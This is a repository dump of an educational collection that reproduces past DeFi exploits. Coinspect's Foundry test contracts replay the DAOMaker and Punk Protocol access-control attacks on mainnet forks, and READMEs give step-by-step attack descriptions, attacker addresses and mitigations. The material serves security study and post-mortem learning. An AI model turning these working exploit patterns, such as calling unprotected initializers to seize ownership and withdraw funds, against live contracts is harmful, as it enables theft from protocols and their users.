├── .gitignore ├── .gitmodules ├── LICENSE ├── README.md ├── foundry.toml ├── remappings.txt ├── scripts └── count_tests ├── test ├── Access_Control │ ├── DAOMaker │ │ ├── DAOMaker.attack.sol │ │ ├── DAOMaker.d2 │ │ ├── DAOMaker.d2.png │ │ ├── DAOMaker.wsd │ │ ├── README.md │ │ └── daomaker.png │ ├── MBCToken │ │ ├── MBCToken.attack.sol │ │ ├── MBCToken.d2 │ │ ├── MBCToken.d2.png │ │ └── README.md │ ├── PunkProtocol │ │ ├── PunkProtocol.attack.sol │ │ ├── README.md │ │ ├── punkprotocol.png │ │ └── punkprotocol.wsd │ ├── Rikkei │ │ ├── README.md │ │ ├── Rikkei.attack.sol │ │ ├── rikkei.png │ │ └── rikkei.wsd │ ├── Sandbox │ │ ├── README.md │ │ ├── Sandbox.attack.sol │ │ ├── sandbox.png │ │ └── sandbox.wsd │ └── TempleDao │ │ ├── README.md │ │ ├── TempleDao.attack.sol │ │ ├── templedao.png │ │ └── templedao.wsd ├── Bad_Data_Validation │ ├── Bad_Guys_NFT │ │ ├── Bad_Guys_NFT.attack.sol │ │ ├── README.md │ │ ├── badguys.png │ │ └── badguys.wsd │ ├── Bond_OlympusDAO │ │ ├── Bond_OlympusDAO.attack.sol │ │ ├── README.md │ │ ├── olympus.png │ │ └── olympus.wsd │ ├── Multichain_Permit │ │ ├── Multichain_Permit.attack.sol │ │ ├── README.md │ │ ├── multichain.png │ │ └── multichain.wsd │ └── Superfluid │ │ ├── README.md │ │ ├── Superfluid.attack.sol │ │ ├── superfluid.png │ │ └── superfluid.wsd ├── Bridges │ ├── ArbitrumInbox │ │ ├── ArbitrumInbox.report.sol │ │ └── README.md │ ├── NomadBridge │ │ ├── NomadBridge.attack.sol │ │ ├── README.md │ │ ├── nomad-call.png │ │ ├── nomad.d2 │ │ ├── nomad.png │ │ └── nomad.wsd │ ├── PolyNetworkBridge │ │ ├── PolyNetworkBridge.attack.sol │ │ ├── README.md │ │ ├── polynetwork-call.png │ │ ├── polynetwork.d2 │ │ ├── polynetwork.png │ │ └── polynetwork.wsd │ ├── RoninBridge │ │ ├── README.md │ │ ├── RoninBridge.attack.sol │ │ ├── ronin-call.png │ │ ├── ronin.d2 │ │ ├── ronin.png │ │ └── ronin.wsd │ └── Wormhole │ │ ├── README.md │ │ ├── WormholeUninitialized.report.sol │ │ └── wormhole.png ├── Business_Logic │ ├── Bvaults │ │ ├── Bvaults.attack.sol │ │ ├── README.md │ │ ├── bvaults-call.png │ │ ├── bvaults.d2 │ │ ├── bvaults.png │ │ └── bvaults.wsd │ ├── Compound │ │ ├── Compound.reported.sol │ │ ├── README.md │ │ ├── compound-call.png │ │ ├── compound.d2 │ │ ├── compound.png │ │ └── compound.wsd │ ├── EarningFarm │ │ ├── EarningFarm.attack.sol │ │ ├── README.md │ │ ├── earningfarm.png │ │ └── earningfarm.wsd │ ├── Fantasm_Finance │ │ ├── Fantasm_Finance.attack.sol │ │ ├── README.md │ │ ├── fantasmfinance.png │ │ └── fantasmfinance.wsd │ ├── FourMeme │ │ ├── FourMeme.attack.sol │ │ ├── FourMemeExploitDiagram.png │ │ ├── IFourMemeToken.sol │ │ └── README.md │ ├── Furucombo │ │ ├── Furucombo.attack.sol │ │ ├── README.md │ │ ├── furucombo.png │ │ └── furucombo.wsd │ ├── OneRingFinance │ │ ├── OneRingFinance.attack.sol │ │ ├── README.md │ │ ├── onering.png │ │ └── onering.wsd │ ├── OnyxProtocol │ │ ├── Attacker1Contracts.sol │ │ ├── Attacker2Contracts.sol │ │ ├── OnyxProtocol.attack.sol │ │ └── README.md │ ├── Polter_Finance │ │ ├── Polter_Finance.attack.sol │ │ └── README.md │ ├── Seaman │ │ ├── README.md │ │ └── Seaman.attack.sol │ ├── Team_Finance │ │ ├── README.md │ │ └── TeamFinance.attack.sol │ ├── TornadoCash_Governance │ │ ├── Attacker1Contracts.sol │ │ ├── Attacker2Contracts.sol │ │ ├── AttackerOwnable.sol │ │ ├── README.md │ │ ├── SlotsWrittenByAttacker.txt │ │ ├── TornadoCash_Governance.sol │ │ └── TornadoGovernance.interface.sol │ ├── Uranium │ │ ├── README.md │ │ ├── Uranium.attack.sol │ │ ├── uranium.png │ │ └── uranium.wsd │ ├── Usds │ │ ├── README.md │ │ └── usds.attack.sol │ └── VesperRariFuse │ │ ├── README.md │ │ ├── VesperRariFuse.attack.sol │ │ ├── vesper.png │ │ └── vesperrari.wsd ├── Reentrancy │ ├── CreamFinance │ │ ├── CreamFinance.attack.sol │ │ ├── README.md │ │ ├── creamfinance-call.png │ │ ├── creamfinance.d2 │ │ ├── creamfinance.png │ │ └── creamfinance.wsd │ ├── CurvePoolOracle │ │ ├── QiAttack.interfaces.sol │ │ ├── QiReadOnlyReentrancy.attack.sol │ │ ├── README.md │ │ ├── call_trace.png │ │ └── stableswap.png │ ├── DFXFinance │ │ ├── DFXFinance.attack.sol │ │ ├── README.MD │ │ ├── dfxfinance.d2 │ │ ├── dfxfinance.d2.png │ │ ├── dfxfinance.png │ │ └── dfxfinance.wsd │ ├── FeiProtocol │ │ ├── FeiProtocol.attack.sol │ │ ├── README.md │ │ ├── feiprotocol.d2 │ │ ├── feiprotocol.d2.png │ │ ├── feiprotocol.png │ │ └── feiprotocol.wsd │ ├── HundredFinance │ │ ├── HundredFinance.attack.sol │ │ ├── README.md │ │ ├── hundredfinance.d2 │ │ ├── hundredfinance.d2.png │ │ ├── hundredfinance.png │ │ └── hundredfinance.wsd │ ├── Paraluni │ │ ├── Paraluni.attack.sol │ │ ├── README.md │ │ ├── paraluni.png │ │ └── paraluni.wsd │ ├── ReadOnlyReentrancy │ │ ├── README.md │ │ ├── ReadOnlyReentrancy.attack.sol │ │ ├── readonly.png │ │ └── readonlyreentrancy.wsd │ └── RevestFinance │ │ ├── README.md │ │ ├── RevestFinance.attack.sol │ │ ├── revest.png │ │ └── revestfinance.wsd ├── TestHarness.sol ├── interfaces │ ├── 00_CheatCodes.interface.sol │ ├── IERC1155.sol │ ├── IERC20.sol │ ├── IRToken.sol │ ├── IWETH9.sol │ └── PolyNetworkLibraries │ │ ├── ETHCrossChainUtils.sol │ │ ├── Utils.sol │ │ ├── ZeroCopySink.sol │ │ └── ZeroCopySource.sol ├── modules │ ├── TWAPGetter.sol │ └── TokenBalanceTracker.sol ├── readme.template.txt ├── reproduction.template.txt └── utils │ ├── BalancerFlashloan.sol │ ├── BytesLib.sol │ ├── ICompound.sol │ ├── ICurve.sol │ ├── IPancakeRouter01.sol │ ├── IPancakeV3Factory.sol │ ├── IPancakeV3NonfungiblePositionManager.sol │ ├── IPancakeV3Pool.sol │ ├── IPancakeV3PoolInitializer.sol │ ├── IPancakeV3SwapCallback.sol │ ├── IUniswapV2Factory.sol │ ├── IUniswapV2Pair.sol │ ├── IUniswapV2Router.sol │ ├── IUniswapV3Pair.sol │ └── MerkleTree.sol └── tsconfig.json /.gitignore: -------------------------------------------------------------------------------- 1 | # Foundry 2 | cache/ 3 | out/ 4 | 5 | # JS 6 | node_modules/ 7 | 8 | #Hardhat files 9 | cache_hardhat/ 10 | artifacts/ 11 | 12 | #Hardhat plugin files 13 | typechain-types/ 14 | 15 | # Environment 16 | .env 17 | .DS_Store 18 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "lib/forge-std"] 2 | path = lib/forge-std 3 | url = https://github.com/foundry-rs/forge-std 4 | [submodule "lib/solmate"] 5 | path = lib/solmate 6 | url = https://github.com/rari-capital/solmate 7 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Coinspect 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /foundry.toml: -------------------------------------------------------------------------------- 1 | [profile.default] 2 | src = 'src' 3 | out = 'out' 4 | libs = ['lib'] 5 | 6 | # See more config options https://github.com/foundry-rs/foundry/tree/master/config 7 | 8 | [fmt] 9 | line_length = 110 10 | number_underscore = "thousands" 11 | wrap_comments = true 12 | 13 | [rpc_endpoints] 14 | mainnet = "https://rpc.ankr.com/eth" 15 | optimism = "https://rpc.ankr.com/optimism" 16 | fantom = "https://rpc.ankr.com/fantom" 17 | arbitrum = "https://rpc.ankr.com/arbitrum" 18 | bsc = "https://bsc-dataseed.binance.org/" 19 | moonriver = "https://moonriver.public.blastapi.io" 20 | gnosis = "https://rpc.ankr.com/gnosis" 21 | avax = "https://rpc.ankr.com/avalanche" 22 | polygon = "https://rpc.ankr.com/polygon" 23 | -------------------------------------------------------------------------------- /remappings.txt: -------------------------------------------------------------------------------- 1 | forge-std/=lib/forge-std/src/ 2 | solmate/=lib/solmate/src/ 3 | ds-test/=lib/forge-std/lib/ds-test/src/ 4 | @openzeppelin/=lib/openzeppelin-contracts/ -------------------------------------------------------------------------------- /scripts/count_tests: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | cd $(git rev-parse --show-toplevel) 4 | find ./test/ -type d \( -path ./test/modules -or -path ./test/utils -o -path ./test/interfaces \) -prune -or -name '*.sol' -and -type f -and -not -name 'TestHarness.sol' -print | wc -l 5 | -------------------------------------------------------------------------------- /test/Access_Control/DAOMaker/DAOMaker.attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import "forge-std/Test.sol"; 5 | import {TestHarness} from "../../TestHarness.sol"; 6 | import {IERC20} from '../../interfaces/IERC20.sol'; 7 | 8 | import {TokenBalanceTracker} from '../../modules/TokenBalanceTracker.sol'; 9 | 10 | interface DAOMaker { 11 | function init(uint256 _start, uint256[] calldata _releasePeriods, uint256[] calldata _releaseDate, address _token) external; 12 | function emergencyExit(address receiver) external; 13 | function owner() external view returns(address); 14 | } 15 | 16 | contract Exploit_DAOMaker is TestHarness, TokenBalanceTracker { 17 | // The actula attacker address is: 0x2708CACE7b42302aF26F1AB896111d87FAEFf92f; 18 | address internal attacker = address(this); 19 | DAOMaker internal daomaker = DAOMaker(0x2FD602Ed1F8cb6DEaBA9BEDd560ffE772eb85940); 20 | 21 | IERC20 internal derc = IERC20(0x9fa69536d1cda4A04cFB50688294de75B505a9aE); 22 | 23 | function setUp() external { 24 | cheat.createSelectFork('mainnet', 13155349); 25 | 26 | addTokenToTracker(address(derc)); 27 | } 28 | 29 | function test_attack() external { 30 | console.log('------- STEP 0: INITIAL BALANCE -------'); 31 | logBalances(attacker); 32 | 33 | uint256 balanceBefore = derc.balanceOf(attacker); 34 | 35 | console.log('------- STEP 1: INITIALIZATION -------'); 36 | uint256 initBlock = block.number; 37 | 38 | uint256 start = 1640984401; 39 | 40 | uint256[] memory releasePeriods = new uint256[](1); 41 | releasePeriods[0] = 5702400; 42 | 43 | uint256[] memory releasePercents = new uint256[](1); 44 | releasePercents[0] = 10000; 45 | 46 | daomaker.init(start, releasePeriods, releasePercents, address(derc)); 47 | console.log(daomaker.owner()); 48 | console.log(attacker); 49 | 50 | console.log('Current Block:', initBlock); 51 | logBalances(attacker); 52 | console.log('\n'); 53 | assertEq(daomaker.owner(), attacker); 54 | 55 | console.log('------- STEP 2: DERC EXIT -------'); 56 | 57 | assertEq(daomaker.owner(), attacker); 58 | daomaker.emergencyExit(attacker); 59 | 60 | uint256 balanceAfter = derc.balanceOf(attacker); 61 | assertGe(balanceAfter, balanceBefore); 62 | logBalances(attacker); 63 | } 64 | 65 | 66 | } 67 | -------------------------------------------------------------------------------- /test/Access_Control/DAOMaker/DAOMaker.d2: -------------------------------------------------------------------------------- 1 | DAOMaker { 2 | init() 3 | emergencyExit() 4 | } 5 | 6 | Attacker -> DAOMaker.init(): attacker is now owner 7 | Attacker -> DAOMaker.emergencyExit(): withdraws tokens (protected by onlyOwner) 8 | 9 | explanation: |md 10 | # DAO Maker\n 11 | - Simple attack with only two steps 12 | - Difficult to find because source code is not available 13 | | 14 | -------------------------------------------------------------------------------- /test/Access_Control/DAOMaker/DAOMaker.d2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Access_Control/DAOMaker/DAOMaker.d2.png -------------------------------------------------------------------------------- /test/Access_Control/DAOMaker/DAOMaker.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | interface DAOMaker { 3 | ' -- inheritance -- 4 | 5 | ' -- usingFor -- 6 | 7 | ' -- vars -- 8 | 9 | ' -- methods -- 10 | +init() 11 | +emergencyExit() 12 | 13 | } 14 | 15 | class Exploit_DAOMaker { 16 | ' -- inheritance -- 17 | {abstract}TestHarness 18 | {abstract}TokenBalanceTracker 19 | 20 | ' -- usingFor -- 21 | 22 | ' -- vars -- 23 | #[[address]] attacker 24 | #[[DAOMaker]] daomaker 25 | #[[IERC20]] derc 26 | 27 | ' -- methods -- 28 | +setUp() 29 | +test_attack() 30 | 31 | } 32 | ' -- inheritance / usingFor -- 33 | Exploit_DAOMaker --[#DarkGoldenRod]|> TestHarness 34 | Exploit_DAOMaker --[#DarkGoldenRod]|> TokenBalanceTracker 35 | 36 | @enduml -------------------------------------------------------------------------------- /test/Access_Control/DAOMaker/README.md: -------------------------------------------------------------------------------- 1 | # DAO maker 2 | 3 | - Type: Exploit 4 | - Total lost: ~4MM 5 | - Category: Access Control 6 | - Exploited contracts: 7 | - - https://etherscan.io/address/0x2FD602Ed1F8cb6DEaBA9BEDd560ffE772eb85940 8 | - Attack transactions: 9 | - - https://etherscan.io/tx/0x96bf6bd14a81cf19939c0b966389daed778c3a9528a6c5dd7a4d980dec966388 10 | - Attacker addresses: 11 | - - [0x2708cace7b42302af26f1ab896111d87faeff92f](https://etherscan.io/address/0x2708cace7b42302af26f1ab896111d87faeff92f) 12 | - Attack Block: 13155350 13 | - Date: Sep 03, 2021 14 | - Reproduce: `forge test --match-contract Exploit_DAOMaker -vvv` 15 | 16 | ## Step-by-step 17 | 1. Call `init` to set yourself as owner 18 | 2. Call `emergencyExit` to withdraw tokens 19 | 20 | ## Detailed Description 21 | On Sept 03, 2021 an attacker stole over 4MM USD in various tokens from an DAOMaker. 22 | 23 | The attacker called `init`, which is not access-controlled, and then called `emergencyExit` withdrawing the tokens held. 24 | 25 | The vulnerability is hard to detect as contracts were not verified, thus the source code is not readily available. 26 | 27 | Nevertheless, we can see the [first attack tx](https://etherscan.io/tx/0xd5e2edd6089dcf5dca78c0ccbdf659acedab173a8ab3cb65720e35b640c0af7c) calls an init method with a sighash `84304ad7`. 28 | The exploited contract is simply a universal-proxy-like, which delegates call to an implementation that holds the actual upgrade logic. This implementation contract did not prevent an arbitrary address to call its `init` method. 29 | 30 | The `init` method sets as `owner` anyone who calls it. You can check [the decompilation]( https://etherscan.io/bytecode-decompiler?a=0xf17ca0e0f24a5fa27944275fa0cedec24fbf8ee2) and look for the `unknown84304ad7` method, as the decompiler calls it. Look at the bottom, you will see `owner = caller`. 31 | 32 | ``` 33 | def unknown84304ad7() payable: 34 | require calldata.size - 4 >= 128 35 | require cd <= 4294967296 36 | require cd <= calldata.size 37 | require ('cd', 36).length <= 4294967296 and cd * ('cd', 36).length) + 36 <= calldata.size 38 | require cd <= 4294967296 39 | require cd <= calldata.size 40 | require ('cd', 68).length <= 4294967296 and cd * ('cd', 68).length) + 36 <= calldata.size 41 | ... 42 | log OwnershipTransferred( 43 | address previousOwner=owner, 44 | address newOwner=caller) 45 | owner = caller 46 | ``` 47 | 48 | We can be sure this transaction triggered because there is [an event in the event list]( https://etherscan.io/address/0x2fd602ed1f8cb6deaba9bedd560ffe772eb85940#events). See that the first one sets it from zero to an OK address, then after a while from the OK address to the attacker's. 49 | 50 | This allowed the attacker to call `emergencyExit` (sighash: `a441d067`) which is `onlyOwner` protected. 51 | 52 | In his [twitter thread](https://twitter.com/Mudit__Gupta/status/1434059922774237185), Mudit Gupta suggests that the attacker was using a browser wallet as the calls where made separeterly without a contract and the browser wallet built-in swap was used. 53 | 54 | Also, the contract attacked was not verified. The fact that the attacker used only an EOA to perform the attack on a non verified contract suggests that maybe the attacker had insider-knowledge of this vulnerability. 55 | 56 | ## Possible mitigations 57 | - `initialize` functions should always be protected so they can be called only once 58 | 59 | ## Diagrams and graphs 60 | 61 | ### Overview 62 | ![Overview](DAOMaker.d2.png) 63 | 64 | ### Entity and class diagram 65 | ![PlantUML](daomaker.png) 66 | 67 | ## Sources and references 68 | - [Mudit Gupta Twitter Thread](https://twitter.com/Mudit__Gupta/status/1434059922774237185) 69 | -------------------------------------------------------------------------------- /test/Access_Control/DAOMaker/daomaker.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Access_Control/DAOMaker/daomaker.png -------------------------------------------------------------------------------- /test/Access_Control/MBCToken/MBCToken.d2: -------------------------------------------------------------------------------- 1 | Attacker -> BUST.transfer: 1. transfer BUST to Uniswap pool 2 | Attacker -> uniswapPool.swap: 2. swap transferred BUST for MBC 3 | Attacker -> MBCToken.swapAndLiquifyStepv1 4 | MBCToken.swapAndLiquifyStepv1 -> uniswapPool.addLiquidity: 3. adds liquidity to pool at `MBC/BUSD` rate 5 | Attacker -> BUST.transfer: 4. transfer MBC to Uniswap 6 | Attacker -> uniswapPool.swap: 5. swap the BUST for the provided MBC 7 | 8 | 9 | Flashloan <-> Attacker 10 | 11 | 12 | 13 | 14 | explanation: |md 15 | # MBC Token 16 | - Attacker gets hold of MBC and increases its price in the pool by swapping 17 | - Then forces contract to deposit MBC and BUSD in the pool 18 | - Buys the BUSD cheaply from the pool, as the MBC price is still too high 19 | | 20 | -------------------------------------------------------------------------------- /test/Access_Control/MBCToken/MBCToken.d2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Access_Control/MBCToken/MBCToken.d2.png -------------------------------------------------------------------------------- /test/Access_Control/PunkProtocol/PunkProtocol.attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import "forge-std/Test.sol"; 5 | import {TestHarness} from "../../TestHarness.sol"; 6 | import {TokenBalanceTracker} from '../../modules/TokenBalanceTracker.sol'; 7 | import {IERC20} from "../../interfaces/IERC20.sol"; 8 | import {IWETH9} from '../../interfaces/IWETH9.sol'; 9 | 10 | interface IPunk { 11 | function initialize(address forge_, address token_, address cToken_, address comp_, address comptroller_, address uRouterV2_) external; 12 | function invest() external; 13 | function underlyingBalanceWithInvestment() external returns (uint256); 14 | function withdrawToForge(uint256 amount) external; 15 | 16 | } 17 | 18 | contract Exploit_Punk is TestHarness, TokenBalanceTracker { 19 | IPunk internal punkUsdc = IPunk(0x3BC6aA2D25313ad794b2D67f83f21D341cc3f5fb); 20 | IPunk internal punkUsdt = IPunk(0x1F3b04c8c96A31C7920372FFa95371C80A4bfb0D); 21 | IPunk internal punkDai = IPunk(0x929cb86046E421abF7e1e02dE7836742654D49d6); 22 | 23 | address[] internal punks = [address(punkUsdc), address(punkUsdt), address(punkDai)]; 24 | 25 | IERC20 internal usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); 26 | IERC20 internal usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); 27 | IERC20 internal dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); 28 | 29 | address[] internal tokens = [address(usdc), address(usdt), address(dai)]; 30 | 31 | address[] internal cTokens = [ 32 | 0x39AA39c021dfbaE8faC545936693aC917d5E7563, // cUSDC 33 | 0xf650C3d88D12dB855b8bf7D11Be6C55A4e07dCC9, // cUSDT 34 | 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643 // cDAI 35 | ]; 36 | 37 | address[] internal forgeProxies = [ 38 | 0x0a548513693a09135604E78b8a8fE3bB801586E6, // USDC 39 | 0x0d73Ad702AC09EDDAcc10cEB137cbf84e6B3b9e0, // USDT 40 | 0xc9309a6121cE122c3FB3F7AA8920fb4CBd5fBEEC // DAI 41 | ]; 42 | 43 | // address internal attackerEOA = address(0x69); 44 | 45 | function setUp() external { 46 | cheat.createSelectFork('mainnet', 12995894); 47 | 48 | cheat.deal(address(this), 0); 49 | 50 | addTokensToTracker(tokens); 51 | 52 | updateBalanceTracker(address(this)); 53 | // updateBalanceTracker(attackerEOA); 54 | updateBalanceTracker(address(punkUsdc)); 55 | updateBalanceTracker(address(punkUsdt)); 56 | updateBalanceTracker(address(punkDai)); 57 | } 58 | 59 | function test_attack() external { 60 | uint256 punksLen = punks.length; 61 | 62 | uint[3] memory balancesBefore; 63 | for (uint8 i = 0; i < tokens.length; i++) { 64 | balancesBefore[i] = IERC20(tokens[i]).balanceOf(address(this)); 65 | } 66 | 67 | for(uint256 i = 0; i < punksLen; i ++) { 68 | console.log('===== Draining %s pool =====', IERC20(tokens[i]).name()); 69 | attackAPunk( 70 | punks[i], 71 | tokens[i], 72 | cTokens[i], 73 | forgeProxies[i] 74 | ); 75 | } 76 | 77 | for (uint8 i = 0; i < tokens.length; i++) { 78 | assertGe(IERC20(tokens[i]).balanceOf(address(this)), balancesBefore[i]); 79 | } 80 | 81 | 82 | } 83 | 84 | function attackAPunk(address _punk, address _token, address _cToken, address _forgeProxy) internal { 85 | IPunk punk = IPunk(_punk); 86 | 87 | punk.initialize( 88 | address(this), 89 | _token, 90 | _cToken, 91 | 0xc00e94Cb662C3520282E6f5717214004A7f26888, // COMP token 92 | 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B, // Comptroller 93 | 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D // Uniswap V2 Router 94 | ); 95 | console.log('Before withdrawing'); 96 | logBalancesWithLabel('Attacker contract', address(this)); 97 | 98 | punk.invest(); 99 | 100 | punk.withdrawToForge(punk.underlyingBalanceWithInvestment()); 101 | 102 | console.log('After withdrawing'); 103 | logBalancesWithLabel('Attacker contract', address(this)); 104 | punk.initialize( 105 | _forgeProxy, 106 | _token, 107 | _cToken, 108 | 0xc00e94Cb662C3520282E6f5717214004A7f26888, // COMP token 109 | 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B, // Comptroller 110 | 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D // Uniswap V2 Router 111 | ); 112 | } 113 | } 114 | -------------------------------------------------------------------------------- /test/Access_Control/PunkProtocol/README.md: -------------------------------------------------------------------------------- 1 | # Punk Protocol Re-initialize 2 | - **Type:** Exploit 3 | - **Network:** Ethereum 4 | - **Total lost**: ~6MM (lost: 3MM USDT + 3MM USDC + 2.95MM DAI, recovered: 3MM USDT, 1.95MM DAI) 5 | - **Category:** Access Control 6 | - **Exploited contracts:** 7 | - - Punk USDC: https://etherscan.io/address/0x3BC6aA2D25313ad794b2D67f83f21D341cc3f5fb 8 | - - Punk USDT: https://etherscan.io/address/0x1F3b04c8c96A31C7920372FFa95371C80A4bfb0D 9 | - - Punk DAI: https://etherscan.io/address/0x929cb86046E421abF7e1e02dE7836742654D49d6 10 | - **Attack transactions:** 11 | - - https://etherscan.io/tx/0x7604c7dd6e9bcdba8bac277f1f8e7c1e4c6bb57afd4ddf6a16f629e8495a0281 12 | - **Attack Block:** 12995895 13 | - **Date:** Aug 10, 2021 14 | - **Reproduce:** `forge test --match-contract Exploit_Punk -vvv` 15 | 16 | ## Step-by-step 17 | 1. Call `initialize` to set your own `forge_` address 18 | 2. Call `withdrawToForge` to withdraw tokens 19 | 20 | ## Detailed Description 21 | The Punk protocol pools did not prevent someone from calling `initialize` after 22 | the contracts were already initialized. 23 | 24 | The attacker called `initialize` through the proxy and set their own `forge_` address, which allowed them to later call `withdrawToForge`, which, as the name implies, withdraws all the funds to the forge address. 25 | 26 | ``` solidity 27 | function initialize( 28 | address forge_, 29 | address token_, 30 | address cToken_, 31 | address comp_, 32 | address comptroller_, 33 | address uRouterV2_ ) public { 34 | } 35 | ``` 36 | 37 | ## Possible mitigations 38 | - `initialize` functions should always be protected so they can be called only once 39 | 40 | ## Diagrams and graphs 41 | 42 | ### Entity and class diagram 43 | ![PlantUML](punkprotocol.png) 44 | 45 | ## Sources and references 46 | - [Rekt News Report](https://rekt.news/punkprotocol-rekt/) 47 | - [Postmortem](https://medium.com/punkprotocol/punk-finance-fair-launch-incident-report-984d9e340eb) 48 | -------------------------------------------------------------------------------- /test/Access_Control/PunkProtocol/punkprotocol.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Access_Control/PunkProtocol/punkprotocol.png -------------------------------------------------------------------------------- /test/Access_Control/PunkProtocol/punkprotocol.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface IPunk { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +initialize() 12 | +invest() 13 | +underlyingBalanceWithInvestment() 14 | +withdrawToForge() 15 | 16 | } 17 | 18 | 19 | class Exploit_Punk { 20 | ' -- inheritance -- 21 | {abstract}TestHarness 22 | {abstract}TokenBalanceTracker 23 | 24 | ' -- usingFor -- 25 | 26 | ' -- vars -- 27 | #[[IPunk]] punkUsdc 28 | #[[IPunk]] punkUsdt 29 | #[[IPunk]] punkDai 30 | #[[address]] punks 31 | #[[IERC20]] usdc 32 | #[[IERC20]] usdt 33 | #[[IERC20]] dai 34 | #[[address]] tokens 35 | #[[address]] cTokens 36 | #[[address]] forgeProxies 37 | #[[address]] attackerEOA 38 | 39 | ' -- methods -- 40 | +setUp() 41 | +test_attack() 42 | #attackAPunk() 43 | 44 | } 45 | ' -- inheritance / usingFor -- 46 | Exploit_Punk --[#DarkGoldenRod]|> TestHarness 47 | Exploit_Punk --[#DarkGoldenRod]|> TokenBalanceTracker 48 | 49 | @enduml -------------------------------------------------------------------------------- /test/Access_Control/Rikkei/README.md: -------------------------------------------------------------------------------- 1 | # Rikkei Oracle Replace 2 | - **Type:** Exploit 3 | - **Network:** Binance Smart Chain 4 | - **Total lost**: 1MM 5 | - **Category:** Access Control 6 | - **Exploited contracts:** 7 | - - Price Oracle: https://bscscan.com/address/0xd55f01b4b51b7f48912cd8ca3cdd8070a1a9dba5 8 | - **Attack transactions:** 9 | - - https://bscscan.com/tx/0x93a9b022df260f1953420cd3e18789e7d1e095459e36fe2eb534918ed1687492 10 | - **Attack Block:** 16956475 11 | - **Date:** Apr 15, 2021 12 | - **Reproduce:** `forge test --match-contract Exploit_Rikkei -vvv` 13 | 14 | ## Step-by-step 15 | 1. Call `setOracleData` to set your own oracle for a token 16 | 2. Take favorable loans using the malicious price 17 | 18 | ## Detailed Description 19 | The Rikkei Oracle contract did not prevent someone from calling their `setOracleData` function. 20 | 21 | ``` solidity 22 | function setOracleData(address rToken, oracleChainlink _oracle) external { 23 | oracleData[rToken] = _oracle; 24 | } 25 | ``` 26 | 27 | Once a malicious oracle is set (the attacer's is [here](https://bscscan.com/address/0xA36F6F78B2170a29359C74cEFcB8751E452116f9#code 28 | )), the attacker can get loans for a monstruous amount of money with little to no collateral. 29 | 30 | The attacker: 31 | 1. Put 0.0001 BNB to get 4995533044307110.024 rBNB. 32 | 2. Took a loan of 346199.781 USDC with the rBNB. 33 | 3. Exchanged the USDC for 776.298 WBNB 34 | 4. Repeated this process with all stablecoins available 35 | 6. Restored Oracle 36 | 7. Exit the WBNB through Tornado Cash 37 | 38 | 39 | ## Possible mitigations 40 | - The `setOracleData` had to be either `internal` or authenticated. 41 | 42 | ## Diagrams and graphs 43 | 44 | ### Entity and class diagram 45 | ![PlantUML](rikkei.png) 46 | 47 | ## Sources and references 48 | - [Known Sec Labs Report](https://knownseclab.com/news/625e865cf1c544005a4bdaf2) 49 | -------------------------------------------------------------------------------- /test/Access_Control/Rikkei/rikkei.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/coinspect/learn-evm-attacks/6e6853720b5f4439425ac0e3d37c66a17c5655ac/test/Access_Control/Rikkei/rikkei.png -------------------------------------------------------------------------------- /test/Access_Control/Rikkei/rikkei.wsd: -------------------------------------------------------------------------------- 1 | @startuml 2 | 3 | interface IUnitroller { 4 | ' -- inheritance -- 5 | 6 | ' -- usingFor -- 7 | 8 | ' -- vars -- 9 | 10 | ' -- methods -- 11 | +💰enterMarkets() 12 | +exitMarket() 13 | +🔍borrowCaps() 14 | 15 | } 16 | 17 | 18 | interface ChainLinkOracle { 19 | ' -- inheritance -- 20 | 21 | ' -- usingFor -- 22 | 23 | ' -- vars -- 24 | 25 | ' -- methods -- 26 | +🔍decimals() 27 | 